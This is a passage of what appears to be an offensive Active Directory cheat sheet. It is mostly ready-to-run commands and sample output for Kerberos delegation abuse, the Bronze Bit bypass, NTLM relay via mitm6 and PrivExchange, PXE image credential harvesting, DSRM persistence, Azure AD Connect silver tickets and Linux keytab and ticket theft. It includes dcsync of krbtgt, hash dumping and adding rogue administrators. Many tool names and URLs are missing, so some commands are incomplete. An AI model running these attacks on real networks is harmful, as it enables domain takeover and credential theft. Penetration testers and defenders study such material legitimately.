Requirements: - Object with Property Trust this computer for delegation to any service (Kerberos only) - Must have ADS_UF_TRUSTED_FOR_DELEGATION - Must not have ADS_UF_NOT_DELEGATED flag - User must not be in the Protected Users group - User must not have the flag Account is sensitive and cannot be delegated

Find delegation

⚠️ : Domain controllers usually have unconstrained delegation enabled.
Check the TrustedForDelegation property.

  • ADModule
    # From
    PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
  • ldapdomaindump
    $> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*"   
    grep TRUSTED_FOR_DELEGATION domain_computers.grep
SpoolService status

Check if the spool service is running on the remote host

ls \\dc01\pipe\spoolss
python DOMAIN/user:password@
Monitor with Rubeus

Monitor incoming connections from Rubeus.

Rubeus.exe monitor /interval:1 
Force a connect back from the DC

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

# From
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.

# From 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>

# From
python -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>

If the attack worked you should get a TGT of the domain controller.

Load the ticket

Extract the base64 TGT from Rubeus output and load it to our current session.

.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt

Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets

Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt

  • Ensure sensitive accounts cannot be delegated
  • Disable the Print Spooler Service

Kerberos Constrained Delegation

Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets script, however,

Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

# Discover
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Find the service 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo

Exploit with Impacket

$ -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Exploit with Rubeus

$ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate / / /msdsspn:cifs/ /ptt
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
$ dir \\\c$

Impersonate a domain user on a resource

Require: * SYSTEM level privileges on a machine configured with constrained delegation

PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$

Kerberos Resource Based Constrained Delegation

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B.

  1. Import Powermad and Powerview

    PowerShell.exe -ExecutionPolicy Bypass
    Import-Module .\powermad.ps1
    Import-Module .\powerview.ps1
  2. Get user SID

    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
    $ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
    ConvertFrom-SID $ACE.SecurityIdentifier
  3. Abuse MachineAccountQuota to create a computer account and set an SPN for it

    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
  4. Rewrite DC's AllowedToActOnBehalfOfOtherIdentity properties

    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    $RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    # alternative
    $SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    # alternative
    StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
  5. Use Rubeus to get hash from password

    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan
    [*] Input password             : Weakest123*
    [*] Input username             : swktest$
    [*] Input domain               : factory.lan
    [*] Salt                       : FACTORY.LANswktest
    [*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD
    [*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
    [*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
    [*]       des_cbc_md5          : BA297CFD07E62A5E
  6. Impersonate domain admin using our newly created machine account

    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    .\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
    [*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
    [*] Using domain controller: DC01-WW2.factory.lan (
    [*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
    [*] Sending S4U2proxy request
    [+] S4U2proxy success!
    [*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
    [*] Action: Import Ticket
    [+] Ticket successfully imported!

Kerberos Bronze Bit Attack - CVE-2020-17049

An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.

Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.

⚠️ Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)

Requirements: * Service account's password hash * Service account's with Constrained Delegation or Resource Based Constrained Delegation * Impacket PR #1013

Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

# forwardable flag is only protected by the ticket encryption which uses the service account's password 
$ -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable

$ -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

# Access "c$"
ls \\service2.test.local\c$

Attack #2 - Write Permissions to one or more objects in the AD

# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

# Execute the attack
python .\impacket\examples\ -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null

Relay delegation with mitm6

Prerequisites: - IPv6 enabled (Windows prefers IPV6 over IPv4) - LDAP over TLS (LDAPS)

ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.

git clone 
cd /opt/tools/mitm6
pip install .

mitm6 -hw ws02 -d lab.local --ignore-nofqnd -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation

PrivExchange attack

Exchange your privileges for Domain Admin privs by abusing Exchange.
⚠️ You need a shell on a user account with a mailbox.

  1. Exchange server hostname or IP address

    pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
  2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket). -t ldap://dc01.domain.local --escalate-user username
  3. Subscription to the push notification feature (using or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.

    python -ah xxxxxxx -u xxxx -d xxxxx
    python -ah mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
    powerPriv -targetHost corpExch01 -attackerHost -Version 2016
  4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash

    python xxxxxxxxxx -just-dc
    python lab/buff@ -ntds ntds -history -just-dc-ntlm
  5. Clean your mess and restore a previous state of the user's ACL

    python --restore ../aclpwn-20190319-125741.restore

Alternatively you can use the Metasploit module

use auxiliary/scanner/http/exchange_web_server_pushsubscription

Alternatively you can use an all-in-one tool : Exchange2domain.

git clone 
python -ah attackterip -ap listenport -u user -p password -d -th DCip MailServerip
python -ah attackterip -u user -p password -d -th DCip --just-dc-user krbtgt MailServerip

PXE Boot image attack

PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.

  • Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
  • Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
    net user hacker Password123! /add
    net localgroup administrators /add hacker
  • Extract the pre-boot image (wim files) using PowerPXE.ps1 ( and dig through it to find default passwords and domain accounts.
    # Import the module
    PS > Import-Module .\PowerPXE.ps1
    # Start the exploit on the Ethernet interface
    PS > Get-PXEcreds -InterfaceAlias Ethernet
    PS > Get-PXECreds -InterfaceAlias « lab 0 » 
    # Wait for the DHCP to get an address
    >> Get a valid IP address
    >>> >>> DHCP proposal IP address:
    >>> >>> DHCP Validation: DHCPACK
    >>> >>> IP address configured:
    # Extract BCD path from the DHCP response
    >> Request BCD File path
    >>> >>> BCD File path:  \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd
    >>> >>> TFTP IP Address:
    # Download the BCD file and extract wim files
    >> Launch TFTP download
    >>>> Transfer succeeded.
    >> Parse the BCD file: conf.bcd
    >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim
    >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim
    >> Launch TFTP download
    >>>> Transfer succeeded.
    # Parse wim files to find interesting data
    >> Open LiteTouchPE_x86.wim
    >>>> Finding Bootstrap.ini
    >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$
    >>>> >>>> UserID = MdtService
    >>>> >>>> UserPassword = Somepass1

DSRM Credentials

Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

This is the local administrator account inside each DC. Having admin privileges in this machine, you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

# Check if the key exists and get the value
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 

# Create key with value "2" if it doesn't exist
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 

# Change value to "2"
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2

Impersonating Office 365 Users on Azure AD Connect


  • Obtain NTLM password hash of the AZUREADSSOACC account
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
  • AAD logon name of the user we want to impersonate (userPrincipalName or mail)
  • SID of the user we want to impersonate

Create the Silver Ticket and inject it into Kerberos cache:

mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/ /service:HTTP /ptt" exit

Launch Mozilla Firefox, go to about:config


Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.

Linux Active Directory

CCACHE ticket reuse from /tmp

List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions

CCACHE ticket reuse from keyring

Tool to extract Kerberos tickets from Linux kernel keys :

[root@Lab-LSV01 /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from keytab

git clone
python /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.

Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.

$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[26] Service principal: host/COMPUTER@DOMAIN
     KVNO: 25
     Key type: 23
     Key: 31d6cfe0d16ae931b73c59d7e0c089c0
     Time stamp: Oct 07,  2019 09:12:02

On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.

$ python3 krb5.keytab 
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
        REALM : DOMAIN
        SERVICE PRINCIPAL : host/computer.domain
        NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky

On macOS you can use bifrost.

./bifrost -action dump -source keytab -path test

Connect to the machine using the account and the hash with CME.

$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME          10.XXX.XXX.XXX:445 HOSTNAME-01   [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0